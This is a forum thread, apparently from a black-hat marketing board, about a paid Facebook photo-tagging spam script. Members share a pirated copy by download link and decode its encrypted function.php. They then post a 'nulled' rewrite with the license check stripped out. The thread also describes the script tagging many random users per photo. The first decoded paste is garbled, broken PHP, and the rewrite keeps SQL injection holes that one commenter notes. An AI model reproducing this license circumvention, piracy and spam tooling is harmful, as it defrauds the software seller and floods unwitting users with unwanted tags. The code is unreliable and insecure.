PhotoSwarm - The Multi-App Viral Photo Tagging Script

Heineken

BANNED
Joined
Aug 25, 2010
Messages
306
Reaction score
46
This application is on cpa.lead market place and guy selling it for 50$
Just wanted to share files with you guys, if you figure out how to decrypt function.php file witch is encrypted with ioncube you could bypass the licence key thing.

Anyway here is the download link:
http://www.mediafire.com/?2q5y9g1t1qdyr9k

Enjoy!
 
hey thanks. Ill see what i can do with it! I'm good at decrypting .....
 
Awesome, post results here if you manage to decrypt function.php
 
I can decrypt it, give me a few right now i'm busy.
 
function.php decoded:

PHP:
<?php


   while ($_SERVER("index.php")) $key=file_get_contents("http://photoswarmapp.com/license/verify.php?key=".$lickey)strstr;
   while ($key!="active") {
      echo "Invalid License Key!";


      Return (1);
 function include404(){
 function get_template($id){
   $loadingq=mysql_query("SELECT * FROM `templates` WHERE `id` = '".$id."'");
   $loading=mysql_fetch_assoc($loadingq);
stripslashes
Return ($loading()) function include_text($text){
   $GLOBALS+=get_defined_vars();
 function login_formecho "<html>
\n"($showjs = false){
   echo "<s";
   echo "tyle>
\nbody,td,th {
\n    font-family: Verdana, Arial, Helvetica, sans-serif;
\n    font-size: 10px;
\n    color: #000000;
\n}
\n</style>
\n";
   if ($showjs==showjs) {
      echo "<script>alert('Invalid Password Specified');</script>";
   }
   echo "<center>
\n<a href="http://photoswarmapp.com" target="_blank"><img src="images/logo.png" border=0 alt="PhotoSwarm"></a>
\n<br/><br/>
\n<h2>Login to PhotoSwarm</h2><br/><br/>
\n<form method="POST" action="index.php">
\nPassword: <input type="password" name="adminpass"> <input type="submit" value="Login">
\n</form>
\n</center>
\n</html>
\n";
 function delete_category($id){
   $query=mysql_query("SELECT * FROM `photos` WHERE `category` = '".$id."'");
   while (0<mysql_affected_rows()) {
      while ($row=mysql_fetch_assoc($query)) {
         $row()unlink$row;
      mysql_query("DELETE FROM `photos` WHERE `category` = '".$id."'");
      mysql_query("DELETE FROM `photo_cats` WHERE `id` = '".$id."' LIMIT 1");
      mysql_query("DELETE FROM `apps` WHERE `imgcategory` = '".$id."'");
 function delete_photo($id){
   $query=mysql_query("SELECT * FROM `photos` WHERE `id` = '".$id."' LIMIT 1");
   $row=mysql_fetch_assoc($query);
   $row()unlink$row;
   mysql_query("DELETE FROM `photos` WHERE `id` = '".$id."' LIMIT 1");
 function add_category($name){
   mysql_query("INSERT INTO `photo_cats` VALUES(null,'".addslashes($name)."')");
   echo "<font color="green">Category added to database...</font><br/><br/>";
 function delete_app($id){
   mysql_query("DELETE FROM `apps` WHERE `id` = '".$id."' LIMIT 1");
   mysql_query("DELETE FROM `landings` WHERE `app` = '".$id."' LIMIT 1");
?>
 
Awesome that will help on people, ill see to bypass licence now.
 
Does this work ? I've been hearing people reporting fb has introduced a limitation to the photo tagging permission, meaning when a user is tagged in a photo, the tag automatically goes pending and has to be approved. Any thoughts on how this affects this type of application?
 
For some reason when i change function.php with this decrypted php code it doesn't work for some reason it gives me server error, like my web site is offline or under maintance... strange. @rlink well i havent tested it this days so i can't know that..
 
Does this work ? I've been hearing people reporting fb has introduced a limitation to the photo tagging permission, meaning when a user is tagged in a photo, the tag automatically goes pending and has to be approved. Any thoughts on how this affects this type of application?

about time for this to be introduced (looking from user point of view). I hate it when my friends tagged me on drunk photos, and my whole family saw it -.-
 
R.I.P photo tagging spam :) now user will either accept or refuse any tag in a photo before publication
 
I herd that photo tagging script gets banned very quickly.
 
Well depend how much you are spaming. If u upload 10photos it will tag 50 random people on each photo...
 
Anybody managed to install this version ? It's asking for a license key in config.php, also tried to replace the functions.php file but just getting a blank page on installation url.
 
Anybody managed to install this version ? It's asking for a license key in config.php, also tried to replace the functions.php file but just getting a blank page on installation url.

Yeah same problem when i try that without licence, something need to be edited in function.php and am not expert in php to do it :(
 
Thats because you need to null the script. Take out those lines that "phone home" for the license before you do anything. Next you would have to fix the parse errors with the PHP so just replace the entire code in function.php with this:

PHP:
<?php
                 function include404()
{
    Return (1);
}

function get_template($id)
{

    // This query is vulnerable to SQL Injection
    $loadingq = mysql_query("SELECT * FROM `templates` WHERE `id` = '" . $id . "'");
    $loading = mysql_fetch_assoc($loadingq);
    // next line commented as not a legal statement what are you trying to do here?
    // stripslashes
    Return ($loading);
}

function include_text($text)
{
    $GLOBALS += get_defined_vars();
}

function login_form($showjs = false)
{
    echo "<html>\n";
    echo "<style>\nbody,td,th {\n   font-family: Verdana, Arial, Helvetica, sans-serif;\n   font-size: 10px;\n  color: #000000;\n}\n</style>\n";
    if ($showjs) {
        echo "<script>alert('Invalid Password Specified');</script>";
    }
    echo "<center>\n<a href=\"http://psa.com\" target=\"_blank\"><img src=\"images/logo.png\" border=0 alt=\"PSA\"></a>\n<br/><br/>\n<h2>Login to PSA</h2><br/><br/>\n<form method=\"POST\" action=\"index.php\">\nPassword: <input type=\"password\" name=\"adminpass\"> <input type=\"submit\" value=\"Login\">\n</form>\n</center>\n</html>\n";
}

function delete_category($id)
{
    $query = mysql_query("SELECT * FROM `photos` WHERE `category` = '" . $id . "'");
    /* Next bit seems unneeded
       while (0<mysql_affected_rows()) {
       while ($row=mysql_fetch_assoc($query)) {
          $row()unlink$row;
    */
    mysql_query("DELETE FROM `photos` WHERE `category` = '" . $id . "'");
    mysql_query("DELETE FROM `photo_cats` WHERE `id` = '" . $id . "' LIMIT 1");
    mysql_query("DELETE FROM `apps` WHERE `imgcategory` = '" . $id . "'");
}

function delete_photo($id)
{
    /* Unneeded ?

  $query=mysql_query("SELECT * FROM `photos` WHERE `id` = '".$id."' LIMIT 1");
  $row=mysql_fetch_assoc($query);
  $row()unlink$row;
    */
    mysql_query("DELETE FROM `photos` WHERE `id` = '" . $id . "' LIMIT 1");
}

function add_category($name)
{
    mysql_query("INSERT INTO `photo_cats` VALUES(null,'" . addslashes($name) . "')");
    echo "<font color=\"green\">Category added to database...</font><br/><br/>";
}

function delete_app($id)
{
    mysql_query("DELETE FROM `apps` WHERE `id` = '" . $id . "' LIMIT 1");
    mysql_query("DELETE FROM `landings` WHERE `app` = '" . $id . "' LIMIT 1");
}

?>


After that go to the index of where this script is installed and enter the password you put in the config.php

I think this is a moot point however, because all I have seen around the net about this app is that it isn't working anymore.

Please let me know what results you get in return for my time in decoding this script an making it nulled.
 
This one is dead. Facebook rolled out an update recently and it now requires approvals of users who are getting photo tagged. Don't even know a possible way how to overcome and come up with any kind of fix. Does anyone have any ideas? PM me!
 
Thats because you need to null the script. Take out those lines that "phone home" for the license before you do anything. Next you would have to fix the parse errors with the PHP so just replace the entire code in function.php with this:

PHP:
<?php
                 function include404()
{
    Return (1);
}

function get_template($id)
{

    // This query is vulnerable to SQL Injection
    $loadingq = mysql_query("SELECT * FROM `templates` WHERE `id` = '" . $id . "'");
    $loading = mysql_fetch_assoc($loadingq);
    // next line commented as not a legal statement what are you trying to do here?
    // stripslashes
    Return ($loading);
}

function include_text($text)
{
    $GLOBALS += get_defined_vars();
}

function login_form($showjs = false)
{
    echo "<html>\n";
    echo "<style>\nbody,td,th {\n   font-family: Verdana, Arial, Helvetica, sans-serif;\n   font-size: 10px;\n  color: #000000;\n}\n</style>\n";
    if ($showjs) {
        echo "<script>alert('Invalid Password Specified');</script>";
    }
    echo "<center>\n<a href=\"http://psa.com\" target=\"_blank\"><img src=\"images/logo.png\" border=0 alt=\"PSA\"></a>\n<br/><br/>\n<h2>Login to PSA</h2><br/><br/>\n<form method=\"POST\" action=\"index.php\">\nPassword: <input type=\"password\" name=\"adminpass\"> <input type=\"submit\" value=\"Login\">\n</form>\n</center>\n</html>\n";
}

function delete_category($id)
{
    $query = mysql_query("SELECT * FROM `photos` WHERE `category` = '" . $id . "'");
    /* Next bit seems unneeded
       while (0<mysql_affected_rows()) {
       while ($row=mysql_fetch_assoc($query)) {
          $row()unlink$row;
    */
    mysql_query("DELETE FROM `photos` WHERE `category` = '" . $id . "'");
    mysql_query("DELETE FROM `photo_cats` WHERE `id` = '" . $id . "' LIMIT 1");
    mysql_query("DELETE FROM `apps` WHERE `imgcategory` = '" . $id . "'");
}

function delete_photo($id)
{
    /* Unneeded ?

  $query=mysql_query("SELECT * FROM `photos` WHERE `id` = '".$id."' LIMIT 1");
  $row=mysql_fetch_assoc($query);
  $row()unlink$row;
    */
    mysql_query("DELETE FROM `photos` WHERE `id` = '" . $id . "' LIMIT 1");
}

function add_category($name)
{
    mysql_query("INSERT INTO `photo_cats` VALUES(null,'" . addslashes($name) . "')");
    echo "<font color=\"green\">Category added to database...</font><br/><br/>";
}

function delete_app($id)
{
    mysql_query("DELETE FROM `apps` WHERE `id` = '" . $id . "' LIMIT 1");
    mysql_query("DELETE FROM `landings` WHERE `app` = '" . $id . "' LIMIT 1");
}

?>


After that go to the index of where this script is installed and enter the password you put in the config.php

I think this is a moot point however, because all I have seen around the net about this app is that it isn't working anymore.

Please let me know what results you get in return for my time in decoding this script an making it nulled.

Works just perfect, i uploaded all new files made new mysql db, and replaces function.php with this. Also you cleared some things that confused me in that file :) Thanks for putting your time in this!
 
Works just perfect, i uploaded all new files made new mysql db, and replaces function.php with this. Also you cleared some things that confused me in that file :) Thanks for putting your time in this!

Have you tested the app? does it work?
 
You will have to test if app work, when i tested it few days ago it worked. But the person who selling it is bastard and i give up on it! And sharing it with rest of you guys!
 
Yeah he (seller of this app) even has up an auto responder now that says he's out of town, how convenient.

Have you checked out the "Private wall posting app" from there? If you get it, send me a copy or let me know how it is working, I would appreciate it.
 
Back
Top